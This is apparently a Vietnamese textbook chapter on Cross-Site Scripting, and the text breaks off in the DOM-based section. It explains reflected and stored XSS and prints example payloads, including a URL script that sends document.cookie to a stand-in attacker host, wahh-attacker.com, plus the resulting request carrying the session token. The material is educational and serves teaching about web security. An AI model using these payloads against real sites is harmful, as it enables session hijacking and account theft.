Kỹ thuật tấn công XSS

2.1 Các kỹ thuật tấn công phổ biến vào ứng dụng Web

2.1.2 Kỹ thuật tấn công XSS

2.1.2.1 Tổng quan về kỹ thuật tấn công XSS

Cross-Site Scripting hay còn đƣợc gọi tắt là XSS là một trong những kỹ thuật tấn công phổ biến nhất hiện nay, đồng thời đây cũng là một trong những vấn đề bảo mật quan trọng mà rất nhiều nhà lập trình, phát triển ứng dụng Web quan tâm. XSS là kỹ thuật tấn công bằng cách chèn vào các Website động (ASP, PHP, CGI, JSP, ...) những thẻ HTML hay những đoạn mã script nguy hiểm có thể gây nguy hại cho ngƣời

dùng, hoặc kẻ tấn cơng có thể thực hiện nhúng các thẻ script vào URL và tìm cách lừa ngƣời dùng click vào các liên kết này, khi đó mã độc sẽ đƣợc thực thi trên máy của nạn nhân. Trong đó, những đoạn mã nguy hiểm này thƣờng đƣợc viết bằng các Client- Site Script nhƣ JavaScript, JScript, DHTML và cũng có thể là cả các thẻ HTML.

Để hiểu rõ hơn về tấn công XSS chúng ta cùng xem xét ví dụ sau đây:

http://hotwired.lycos.com/webmonkey/00/index1.html?tw=<script>alert

(document.cookie);</script>

Phần in đậm trên đây là đoạn mã đƣợc thêm vào với mục đích đánh cắp cookie của nạn nhân để trở thành ngƣời dùng hợp lệ, kẻ tấn công lợi dụng cách truyền tham số trên URL để thêm đoạn mã đánh cắp cookie của ngƣời dùng. Các đoạn mã này thƣờng đƣợc kẻ tấn công chèn vào những vị trí nhƣ: Search, Error Message, Input Form, Comment,…

Ví dụ sau mơ tả kẻ tấn cơng đã chèn script vào URL nhƣ sau:

http://www.example.com/search.cgi?query=<script>alert('testing for XSS');</script>.

Hình 2.1: Ví dụ về một trang Web mua sắm trực tuyến Kết quả trả về của trình duyệt nhƣ sau: Kết quả trả về của trình duyệt nhƣ sau:

Hình 2.2: Minh họa trang web có lỗi XSS

Mục tiêu tấn cơng của XSS không hƣớng đến máy chủ hệ thống mà nhằm vào những ngƣời sử dụng Website, khi ngƣời dùng vơ tình duyệt trang Web có chứa các đoạn mã nguy hiểm do các kẻ tấn cơng tạo ra nhằm mục đích chuyển ngƣời dùng tới các Website khác, đặt lại Homepage, hay ăn cấp mất mật khẩu, cookie hoặc cài các chƣơng trình mã độc nhƣ virus, backdoor, worm, … lên máy nạn nhân

Kỹ thuật tấn công XSS chỉ gây thiệt hại đối với Web Client ở phía ngƣời dùng

trong đó nạn nhân trực tiếp là ngƣời dùng duyệt trang Web đó. Nguyên nhân của vấn đề này là do kỹ thuật tấn công XSS sử dụng client-side script, và những đoạn mã này chỉ chạy trên trình duyệt phía client do đó XSS khơng làm ảnh hƣởng đến hệ thống Website ở phía server.

2.1.2.2 Các kỹ thuật tấn công XSS

XSS là kỹ thuật tấn cơng bắt buộc trình duyệt Web của ngƣời dùng thực thi mã độc hại. Thông thƣờng mã độc hại này đƣợc viết bằng HTML hoặc JavaScript và kẻ tấn cơng thực thi trong trình duyệt Web của ngƣời dùng mà khơng phải trên server. Kẻ tấn công chỉ sử dụng các trang Web tin cậy để thực hiện hành vi của họ và ngƣời dùng là nạn nhân trong các cuộc tấn công này. Khi kẻ tấn cơng kiểm sốt đƣợc các luồng (thread) điều khiển trong trình duyệt Web của ngƣời dùng, thì họ có thể thực hiện các hành động nhƣ: Account hijacking, keystroke recording, intranet hacking, đánh cắp history của ngƣời dùng,… Kỹ thuật tấn cơng XSS có thể đƣợc phân loại nhƣ sau:

a) Reflected XSS

Ví dụ rất phổ biến của lỗi XSS xảy ra khi ứng dụng Web sử dụng trang Web động để hiển thị message hay thông báo lỗi tới ngƣời dùng. Thông thƣờng, các trang này chứa tham số trong chuỗi văn bản của thông điệp, và server chỉ đơn giản gửi văn

bản này tới ngƣời dùng. Cơ chế này thuận tiện cho những nhà phát triển, bởi vì nó cho phép họ gọi trang lỗi đã đƣợc tùy biến từ bất cứ đâu trong ứng dụng mà không cần các thông điệp hard-code riêng lẻ trong trang báo lỗi. Ví dụ: URL sau sẽ trả lại thơng điệp lỗi nhƣ hình 2.3 dƣới đây:

https://wahh-app.com/error.php?message=Sorry%2c+an+error+occurred

Hình 2.3: Thơng điệp lỗi tự động đƣợc tạo ra

Nhìn vào mã nguồn HTML với page đƣợc trả về, chúng ta có thể nhìn thấy ứng dụng chỉ đơn giản copy giá trị của tham số message trong URL và chèn tham số này vào vị trí thích hợp trong trang thơng báo lỗi:

<p>Sorry, an error occurred.</p>

Hành động ngƣời dùng cung cấp dữ liệu đầu vào và dữ liệu này đƣợc chèn vào trong mã nguồn HTML của hồi đáp từ server là một trong những đặc điểm của lỗ hổng bảo mật XSS, và nếu quá trình lọc dữ liệu đầu vào khơng đƣợc thực hiện thì ứng dụng này chắc chắn chứa lỗ hổng bảo mật.

Lỗi XSS đơn giản nhƣ vậy chiếm khoản 75% các lỗ hổng XSS tồn tại trong các ứng dụng Web hiện tại. Lỗi XSS này thƣờng đƣợc gọi là Reflected XSS bởi vì việc thực hiện khai thác lỗ hổng bảo mật liên quan đến việc tạo ra yêu cầu nhúng mã JavaScript mà đoạn mã này đƣợc ánh xạ lại tới bất kỳ ngƣời dùng nào thực hiện gửi yêu cầu. Payload tấn công đƣợc gửi đi và đƣợc thực thi thông qua yêu cầu từ ngƣời dùng gửi đi và hồi đáp từ server. Vì lý do này mà đôi khi lỗi XSS này cũng đƣợc gọi là First-order XSS.

Lỗ hổng bảo mật XSS có thể đƣợc khai thác theo nhiều cách khác nhau. Một trong những cuộc tấn công XSS đơn giản nhằm lấy đƣợc session token của ngƣời dùng hợp lệ có thể đƣợc minh họa nhƣ hình 2.4 sau đây:

Hình 2.4: Các bƣớc thực hiên tấn công Reflected XSS

1. Ngƣời dùng thực hiện đăng nhập vào ứng dụng nhƣ bình thƣờng và đƣợc cung cấp cookie chứa session token:

Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3

2. Kẻ tấn công sử dụng kỹ thuật Social Engineering nhằm cung cấp cho ngƣời dùng URL lừa đảo nhƣ sau:

https://wahhapp.com/error.php?message=<script>var+i=new+Image; +i.src=”http://wahh-attacker.com/“%2bdocument.cookie;</script>

Chuỗi URL này sẽ tạo ra dialog message chứa JavaScript và thực hiện đánh cắp session token của ngƣời dùng.

3. Ngƣời dùng thực hiện gửi yêu cầu tới ứng dụng với chuỗi URL mà kẻ tấn công cung cấp.

4. Server hồi đáp lại yêu cầu mà ngƣời dùng đã gửi. Kết quả của tấn công XSS là hồi đáp của server chứa đoạn JavaScript mà kẻ tấn cơng tạo ra.

5. Trình duyệt của ngƣời dùng nhận đƣợc chuỗi JavaScript do kẻ tấn công tạo ra, và chuỗi JavaScipt này đƣợc thực thi trong ứng dụng phía ngƣời dùng nhƣ bất kỳ đoạn mã khác nhận đƣợc từ ứng dụng.

6. Đoạn mã độc JavaScript do kẻ tấn công tạo ra nhƣ sau:

var i=new Image; i.src=”http://wahh- attacker.com/“+document.cookie;

Khi đoạn mã này đƣợc thực thi thì trình duyệt của ngƣời dùng thực hiện gửi session token hiện tại của ngƣời dùng tới domain wahh-attacker.com do attacker sở hữu.

GET /sessId=184a9138ed37374201a4c9672362f12459c2a652491a3 HTTP/1.1

Host: wahh-attacker.com

7. Kẻ tấn công lấy đƣợc session token của ngƣời dùng và sử dụng session token này để chiếm phiên làm việc của ngƣời dùng nhằm lấy thông tin cá nhân, thực hiện các hành động bất hợp pháp với tƣ cách là ngƣời dùng hợp lệ.

Sau khi thực hiện tất cả các bƣớc trên đây, chúng ta có thể tự đặt câu hỏi rằng, nếu kẻ tấn cơng có thể khiến cho ngƣời dùng truy cập vào URL của mình, thì tại sao anh ta phải gửi mã độc JavaScript mà anh ta tạo ra thông qua lỗi XSS trong lỗ hổng bảo mật của ứng dụng. Tại sao anh ta không thực hiện đơn giản hơn đó là xây dựng mã độc script trên wahh-attacker.com và gửi liên kết trực tiếp đến script này cho ngƣời dùng. Liệu script này có thực thi và lấy đƣợc thông tin đúng nhƣ cách đã đƣợc mô tả trong ví dụ hay khơng?

Thực tế, có hai lý do quan trọng để giải thích tại sao kẻ tấn công thực hiện tấn công XSS phức tạp nhƣ vậy. Lý do đầu tiên và quan trọng nhất là mục đích của kẻ tấn cơng thực thi đoạn mã script tùy ý để lấy đƣợc session token của ngƣời dùng là khơng hề đơn giản. Trình duyệt khơng cho phép bất kỳ đoạn script truy cập vào các cookie của site, nếu không quá trình chiếm phiên làm việc trở nên quá dễ dàng. Hơn nữa, cookie chỉ có thể đƣợc truy cập bởi site đã đƣợc server cung cấp. Do đó, nếu script tồn tại trong wahh-attacker.com thì truy vấn document.cookie sẽ không thu đƣợc cookie đƣợc cấp cho wahh-app.com, và tấn công chiếm quyền điều khiển sẽ thất bại.

Lý do tại sao kẻ tấn công khai thác thành cơng lỗ hổng XSS đó là: Khi trình duyệt của ngƣời dùng nhận đƣợc các yêu cầu thì mã độc JavaScript của kẻ tấn cơng đã đƣợc gửi tới trình duyệt thơng qua wahh-app.com. Khi ngƣời dùng click vào URL do kẻ tấn cơng tạo ra, trình duyệt sẽ thực hiện gửi yêu cầu tới https://wahh- app.com/error.php, và ứng dụng sẽ trả về page chứa đoạn mã JavaScript. Với bất cứ đoạn mã JavaScript nào nhận đƣợc từ wahh-app.com, trình duyệt sẽ thực thi đoạn script này. Đó là lý do tại sao script của kẻ tấn công mặc dù bắt nguồn ở nơi khác, nhƣng vẫn có thể truy cập đƣợc vào cookie cấp cho wahh-app.com. Đó cũng là lý do tạo sao lỗ hổng bảo mật này đƣợc gọi là Cross-Site Scripting.

Lý do thứ hai giải thích tại sao kẻ tấn cơng lại phải thực hiện tấn cơng XSS rắc rối nhƣ vậy đó là ở bƣớc 2 đã đƣợc mơ tả ở trên: Khả năng thành công khi kẻ tấn công sử dụng URL lừa đảo có địa chỉ wahh-app.com là cao hơn so với liên kết wahhattacker.com. Mục đích của kẻ tấn cơng cố gắng tạo sự tin tƣởng của ngƣời dùng để họ tin rằng liên kết ngƣời dùng nhận đƣợc là đáng tin cậy và họ sẽ truy cập vào liên kết đó.

Kỹ thuật tấn cơng Stored XSS có thể thành cơng do dữ liệu ngƣời dùng cung cấp đƣợc lƣu trữ trong ứng dụng, thông thƣờng đƣợc lƣu tại cơ sở dữ liệu back-end và đƣợc hiển thị tới ngƣời dùng khác mà khơng đƣợc lọc hoặc xử lý một cách thích hợp.

Tấn công dựa vào lỗi Stored XSS thƣờng bao gồm ít nhất hai yêu cầu liên quan đến ứng dụng. Thứ nhất, kẻ tấn công gửi dữ liệu gắn mã độc và dữ liệu này đƣợc lƣu trữ trong ứng dụng. Thứ hai, nạn nhân xem trang có chứa dữ liệu của attacker và đoạn mã độc đƣợc thực thi. Chính vì lý do này mà lỗ hổng bảo mật này đôi khi cũng đƣợc gọi là Second-order Cross-Site Scripting.

Hình 2.5 sẽ minh họa các bƣớc thực hiện tấn công Stored XSS để chiếm phiên làm việc của ngƣời dùng.

Hình 2.5: Các bƣớc thực hiện Stored XSS

Có hai điểm khác biệt quan trọng trong q trình tấn cơng Stored XSS và Reflected XSS đó là:

Thứ nhất, trong trƣờng hợp tấn cơng Reflected XSS, để khai thác lỗ hổng bảo mật thì kẻ tấn cơng phải sử dụng một số biện pháp dụ dỗ nạn nhân truy cập vào URL lừa đảo của anh ta. Tuy nhiên, trong trƣờng hợp tấn cơng Stored XSS thì cơng việc này khơng cần thiết. Khi tấn cơng XSS đƣợc thực hiện trong ứng dụng, thì attacker đơn giản chỉ cần chờ nạn nhân duyệt page và mã độc hại sẽ đƣợc thực thi trên trình duyệt của ngƣời dùng.

Thứ hai, mục đích của kẻ tấn cơng trong quá trình khai thác lỗ hổng XSS thƣờng dễ dàng đạt đƣợc nếu nạn nhân sử dụng ứng dụng tại thời điểm tấn cơng xảy ra. Ví dụ: Nếu ngƣời dùng có session hiện tại thì kẻ tấn cơng có thể thực hiện chiếm session ngay lập tức. Trong tấn công Reflected XSS, kẻ tấn công phải thuyết phục ngƣời dùng đăng nhập vào ứng dụng và sau đó click vào liên kết do anh ta cung cấp hoặc cố gắng duy trì payload cho tới khi ngƣời dùng đăng nhập thì q trình thực hiện tấn cơng XSS mới thành cơng. Tuy nhiên, tấn cơng Stored XSS có thể thành cơng khi nạn nhân truy cập vào ứng dụng khi tấn công đã thực hiện xong. Bởi vì payload dùng để tấn cơng đƣợc lƣu trong page của ứng dụng mà ngƣời dùng truy cập đến.

Đó là những điểm khác biệt giữa tấn cơng Reflected XSS và Stored XSS và kỹ thuật Stored XSS thƣờng nguy hiểm hơn nếu nhìn từ góc độ an tồn ứng dụng. Trong hầu hết các trƣờng hợp, kẻ tấn cơng có thể gửi một số dữ liệu lừa đảo tới ứng dụng và sau đó chờ đợi nạn nhân ―sập bẫy‖. Nếu nạn nhân là ngƣời quản trị thì kẻ tấn cơng sẽ xâm nhập đƣợc toàn bộ ứng dụng đó.

Nguồn gốc của lỗ hổng bảo mật Stored XSS phát sinh do ứng dụng cho phép ngƣời dùng upload các file dữ liệu mà các file này cho phép ngƣời dùng khác tải về hoặc hiển thị chúng. Nếu kẻ tấn cơng có thể upload file HTML hoặc file text chứa đoạn mã JavaScript và nạn nhân hiển thị nội dung file này, thì sau đó payload của kẻ tấn cơng sẽ đƣợc thực thi.

Nhiều ứng dụng không cho phép upload các file HTML để ngăn cản kiểu tấn công này. Tuy nhiên, trong nhiều trƣờng hợp ứng dụng cho phép ngƣời dùng upload các file hình ảnh JPEG. Trong Internet Explorer, nếu ngƣời dùng yêu cầu file JPEG trực tiếp khơng đƣợc gắn vào thẻ <img>, thì trình duyệt sẽ xử lý yêu cầu này nhƣ với yêu cầu HTML. Điều này có nghĩa kẻ tấn cơng có thể upload file với phần mở rộng .jpg chứa payload XSS. Nếu ứng dụng khơng kiểm tra hình ảnh có trong file đó có hợp lệ hay khơng và cho phép ngƣời dùng khác tải file này thì kẻ tấn cơng có thể lợi dụng sơ hở này để tấn công vào ứng dụng Web.

Sau đây là mô tả về hồi đáp rõ của ứng dụng mà tấn công Stored XSS thực hiện theo cách trên.

HTTP/1.1 200 OK

Date: Sat, 5 May 2007 11:52:25 GMT Server: Apache

Content-Length: 39

Content-Type: image/jpeg

<script>alert(document.cookie)</script>

Lỗ hổng bảo mật này tồn tại rất nhiều trong các ứng dụng Web Mail, tại đó kẻ tấn cơng có thể gửi các email đính kèm hình ảnh quyến rũ mà thực tế sẽ lấy thơng tin về session của bất kỳ ngƣời dùng nào hiển thị hình ảnh này. Nhiều ứng dụng đặc biệt

xử lý các file HTML đính kèm để chặn tấn cơng XSS, nhƣng lại bỏ qua cách xử lý của Internet Explorer đối với các file JPEG.

c) DOM Based XSS

Document Object Model (DOM) là giao diện lập trình ứng dụng (API – Application Programming Interface) cho tài liệu hay document của HTML và XML. DOM định nghĩa cấu trúc vật lý của tài liệu, cách truy cập và thao tác đến một tài liệu. Trong mơ hình đối tƣợng DOM cụ thể, thuật ngữ ―tài liệu‖ đƣợc sử dụng theo nghĩa rộng, trong XML thì thuật ngữ này đƣợc sử dụng để mơ tả nhiều loại thông tin khác nhau lƣu trữ trong các hệ thống khác nhau, và theo truyền thống thì đây đƣợc coi là dữ liệu (data) chứ không phải là tài liệu (document). Tuy nhiên, XML mô tả dữ liệu này nhƣ tài liệu, và mơ hình DOM có thể đƣợc dùng để quản lý dữ liệu này.

Với DOM, ngƣời lập trình có thể xây dựng các tài liệu, điều khiển cấu trúc, thêm, sửa đổi, hoặc xóa các thành phần và nội dung của tài liệu. Bất cứ điều gì đƣợc tìm thấy trong tài liệu HTML, XML đều có thể đƣợc truy cập, thay đổi, thêm hoặc xóa bằng cách sử dụng DOM, tuy nhiên có một vài ngoại lệ trong các trƣờng hợp đặc biệt đó là giao diện DOM khơng quy định cho các tập con (subset) XML bên trong và bên ngồi.

Theo nhƣ mơ tả chi tiết của W3C, một trong những mục tiêu quan trọng của DOM là cung cấp giao diện lập trình chuẩn để sử dụng rộng rãi trong các mơi trƣờng và ứng dụng. DOM đƣợc thiết kế để sử dụng với bất cứ ngôn ngữ lập trình nào.

Cả hai loại tấn cơng Reflected XSS và Stored XSS đều liên quan đến hành động cụ thể, trong đó dữ liệu do ngƣời dùng nhập vào có thể khơng đƣợc kiểm sốt và gây nguy hiểm khi ngƣời dùng khác hiển thị dữ liệu này. Ở tấn cơng thứ ba khơng có đặc điểm này. Ở đây, q trình xử lý JavaScript của kẻ tấn cơng đƣợc thực hiện nhƣ sau:

 Ngƣời dùng yêu cầu URL lừa đảo do kẻ tấn công cung cấp và URL này